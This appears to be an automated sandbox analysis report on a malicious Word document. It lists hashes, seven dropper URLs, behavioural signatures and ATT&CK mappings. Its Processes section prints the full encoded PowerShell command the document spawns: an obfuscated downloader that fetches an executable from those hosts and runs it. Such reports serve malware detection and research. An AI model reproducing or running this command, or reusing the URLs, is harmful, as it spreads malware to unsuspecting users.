355499f144efa41f21d80a9c65951bc118d0198a598fbe5c252c1fe5e64cde9a

General

Target

a4a09a30b1a8ed03d56a45dc17e3ed95_JaffaCakes118.doc
Size

174KB
MD5

a4a09a30b1a8ed03d56a45dc17e3ed95
SHA1

41c2ee288189424ee7d5ef6cee7e0d26cdd2229b
SHA256

355499f144efa41f21d80a9c65951bc118d0198a598fbe5c252c1fe5e64cde9a
SHA512

023abdc077c57051180f9ef76462ef12c9e5c8d7737955e175b0507ee6d695a1e53cfc599c8d92427332ca757402f34ab910c54d05adfbb8d96a1c8d24e65f10
SSDEEP

3072:UUqJ1NgsA8k/gvh0NZ0lGX1nZ7hH7Q8eK0:UBtgVIveNZvn788x0

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://babyshop.webdungsan.com/wp-admin/n/

exe.dropper

http://nguyenlieuphachehanoi.com/wp-admin/kL/

exe.dropper

http://notesever.com/cgi-bin/Cfs/

exe.dropper

http://superbetprediction.com/js/Qo/

exe.dropper

http://pattanitkpark.com/gipe2h/iqt/

exe.dropper

http://www.xxdaytoy.top/wp-content/E/

exe.dropper

http://huaibangchina.com/kic3kc/c/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4916	4348	POwersheLL.exe	91

Blocklisted process makes network request 6 IoCs

flow	pid	Process
25	4916	POwersheLL.exe
36	4916	POwersheLL.exe
37	4916	POwersheLL.exe
40	4916	POwersheLL.exe
41	4916	POwersheLL.exe
54	4916	POwersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3328	WINWORD.EXE
3328	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4916	POwersheLL.exe
4916	POwersheLL.exe
4916	POwersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4916	POwersheLL.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3328	WINWORD.EXE
3328	WINWORD.EXE
3328	WINWORD.EXE
3328	WINWORD.EXE
3328	WINWORD.EXE
3328	WINWORD.EXE
3328	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a4a09a30b1a8ed03d56a45dc17e3ed95_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3328

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABHAHQAZgB0AGEAYQBwAD0AKAAoACcATgB2AHUAJwArACcAZwBfAG0AJwApACsAJwBxACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAcgBwAHIATwBmAEkATABFAFwAYgBtAHcARQBUAFcANABcAGEANgBBAGUAeQBCAFEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBgAFIAaQBgAFQAWQBQAFIAbwBgAFQATwBjAE8ATAAiACAAPQAgACgAJwB0ACcAKwAoACcAbABzACcAKwAnADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAbAAnACkAKwAnAHMAJwArACcAMQAxACcAKwAoACcALAAgAHQAJwArACcAbABzACcAKQApADsAJABFAGkAMwAzADMAcgBmACAAPQAgACgAKAAnAEgAdABjACcAKwAnAGkAJwApACsAKAAnAGYAcgB3ACcAKwAnAHEAYgAnACkAKQA7ACQAQwA3ADAAaABnAGYAMwA9ACgAKAAnAE4AJwArACcAaQBsAHcAagAnACkAKwAnAGIAOAAnACkAOwAkAEIANgBjAGUAMgAwAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAagBRACcAKwAoACcAbwBCAG0AdwBlAHQAdwA0ACcAKwAnAGoAUQBvACcAKwAnAEEANgBhAGUAJwApACsAJwB5ACcAKwAoACcAYgBxAGoAUQAnACsAJwBvACcAKQApACAAIAAtAHIARQBQAGwAQQBDAEUAIAAoAFsAYwBIAEEAcgBdADEAMAA2ACsAWwBjAEgAQQByAF0AOAAxACsAWwBjAEgAQQByAF0AMQAxADEAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABFAGkAMwAzADMAcgBmACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABRADkAYgB4AHgAeQBwAD0AKAAnAFYAZQAnACsAKAAnAF8AJwArACcAaQBuADQAJwApACsAJwA5ACcAKQA7ACQASAA3AHkAaQBvAGMAZgA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAZQBjAHQAJwApACAAbgBFAHQALgB3AEUAYgBjAGwASQBFAG4AdAA7ACQATAA1AHAAMgBvADMAZQA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKwAnAGIAYQAnACkAKwAoACcAYgB5AHMAaABvAHAAJwArACcALgAnACkAKwAnAHcAJwArACcAZQBiACcAKwAoACcAZAB1ACcAKwAnAG4AJwApACsAKAAnAGcAJwArACcAcwBhACcAKQArACgAJwBuAC4AYwAnACsAJwBvAG0ALwB3ACcAKQArACcAcAAnACsAJwAtACcAKwAoACcAYQBkAG0AJwArACcAaQAnACsAJwBuAC8AbgAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoALwAvACcAKwAnAG4AZwB1ACcAKwAnAHkAZQAnACsAJwBuACcAKQArACcAbAAnACsAKAAnAGkAZQB1AHAAJwArACcAaAAnACkAKwAoACcAYQAnACsAJwBjAGgAZQBoAGEAbgBvACcAKwAnAGkAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACcAbQAvACcAKwAnAHcAJwArACgAJwBwACcAKwAnAC0AJwArACcAYQBkAG0AaQBuAC8AawAnACsAJwBMAC8AJwApACsAJwAqACcAKwAoACcAaAB0AHQAcAA6AC8ALwBuACcAKwAnAG8AdABlACcAKwAnAHMAZQAnACkAKwAoACcAdgBlAHIALgBjACcAKwAnAG8AJwApACsAKAAnAG0AJwArACcALwBjACcAKQArACgAJwBnAGkALQAnACsAJwBiACcAKQArACcAaQAnACsAKAAnAG4AJwArACcALwBDACcAKQArACgAJwBmAHMAJwArACcALwAqAGgAJwApACsAKAAnAHQAJwArACcAdABwADoALwAvACcAKQArACcAcwAnACsAJwB1AHAAJwArACgAJwBlAHIAYgAnACsAJwBlAHQAJwApACsAKAAnAHAAcgBlACcAKwAnAGQAJwApACsAKAAnAGkAYwAnACsAJwB0AGkAJwApACsAKAAnAG8AbgAnACsAJwAuACcAKQArACcAYwAnACsAJwBvACcAKwAoACcAbQAvACcAKwAnAGoAcwAnACsAJwAvAFEAbwAvACoAaAB0AHQAJwArACcAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AcAAnACkAKwAoACcAYQB0ACcAKwAnAHQAJwApACsAKAAnAGEAJwArACcAbgBpAHQAJwApACsAKAAnAGsAJwArACcAcABhAHIAawAnACsAJwAuACcAKQArACcAYwBvACcAKwAoACcAbQAvACcAKwAnAGcAaQBwAGUAJwApACsAKAAnADIAaAAnACsAJwAvACcAKQArACgAJwBpACcAKwAnAHEAdAAnACkAKwAnAC8AKgAnACsAKAAnAGgAdAB0AHAAOgAvAC8AdwB3AHcAJwArACcALgB4ACcAKwAnAHgAJwApACsAKAAnAGQAYQAnACsAJwB5AHQAbwAnACkAKwAoACcAeQAuAHQAJwArACcAbwBwAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACgAJwAtAGMAbwAnACsAJwBuAHQAZQAnACsAJwBuACcAKQArACcAdAAnACsAKAAnAC8ARQAnACsAJwAvACcAKQArACcAKgAnACsAJwBoACcAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAGgAdQBhACcAKwAnAGkAYgAnACkAKwAnAGEAJwArACcAbgBnACcAKwAoACcAYwBoAGkAJwArACcAbgAnACkAKwAoACcAYQAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAvAGsAJwArACcAaQBjACcAKQArACgAJwAzAGsAYwAvACcAKwAnAGMALwAnACkAKQAuACIAUwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOAHYAOAB0AHQAbABwAD0AKAAoACcASwAyACcAKwAnADYAaQAnACkAKwAoACcAdAB6ACcAKwAnAGsAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAHAANABmAHUAMwB3ACAAaQBuACAAJABMADUAcAAyAG8AMwBlACkAewB0AHIAeQB7ACQASAA3AHkAaQBvAGMAZgAuACIARABgAG8AYAB3AE4ATABvAGEARABmAGkAYABMAGUAIgAoACQASQBwADQAZgB1ADMAdwAsACAAJABCADYAYwBlADIAMABtACkAOwAkAEkAYQA2AHoAbwBvADQAPQAoACcATQAnACsAJwA1ACcAKwAoACcAbgBiACcAKwAnAGcAdQA4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAEIANgBjAGUAMgAwAG0AKQAuACIAbABgAEUATgBgAEcAVABoACIAIAAtAGcAZQAgADMANAAzADAANwApACAAewAuACgAJwBJACcAKwAnAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdABlAG0AJwApACgAJABCADYAYwBlADIAMABtACkAOwAkAFAAZAB5AGYAbgB3AG0APQAoACgAJwBRAGoAOAAnACsAJwA1AGgAdwAnACkAKwAnAGYAJwApADsAYgByAGUAYQBrADsAJABZADgAbQA5AGoAbQBlAD0AKAAnAE0AJwArACgAJwBiAHoAOQBuACcAKwAnAGoANgAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARAA4ADAAdwB3ADcAOQA9ACgAKAAnAE4AZwAnACsAJwAzACcAKQArACcAZgAnACsAKAAnADcAJwArACcAdwBrACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4916

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4336,i,8293235976513689021,7261015831736501466,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:8
1⤵
PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\TCDBB3F.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x5ak2n0w.yfu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
fa892df2173ef0f53a87d490feac3e5f

SHA1
9546bb2972b1cfd235e6954e2d95adecacc28b1a

SHA256
7db926ba705be55d55e82ea95c600adb4a642d8731e2c4ea0b5e2f6cd78602b2

SHA512
2a61962f649aa4fb34ffb28e03aa7e70ecedefb2bbf95110333704854fde34991f64e90a092f9468c50dd14b9d8cd3145854ac20ba1cbd2871472337aa08fd54

Download Submit
memory/3328-29-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-2-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

Filesize
64KB

Download
memory/3328-9-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-8-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-7-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-13-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-14-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-12-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-15-0x00007FF815870000-0x00007FF815880000-memory.dmp

Filesize
64KB

Download
memory/3328-11-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-10-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-6-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-16-0x00007FF815870000-0x00007FF815880000-memory.dmp

Filesize
64KB

Download
memory/3328-26-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-1-0x00007FF85620D000-0x00007FF85620E000-memory.dmp

Filesize
4KB

Download
memory/3328-607-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-604-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

Filesize
64KB

Download
memory/3328-5-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

Filesize
64KB

Download
memory/3328-4-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

Filesize
64KB

Download
memory/3328-88-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-89-0x00007FF85620D000-0x00007FF85620E000-memory.dmp

Filesize
4KB

Download
memory/3328-90-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-91-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-92-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-3-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

Filesize
64KB

Download
memory/3328-101-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/3328-606-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

Filesize
64KB

Download
memory/3328-605-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

Filesize
64KB

Download
memory/3328-0-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

Filesize
64KB

Download
memory/3328-603-0x00007FF8161F0000-0x00007FF816200000-memory.dmp

Filesize
64KB

Download
memory/4916-105-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/4916-102-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download
memory/4916-69-0x0000016DF9290000-0x0000016DF92B2000-memory.dmp

Filesize
136KB

Download
memory/4916-68-0x00007FF856170000-0x00007FF856365000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads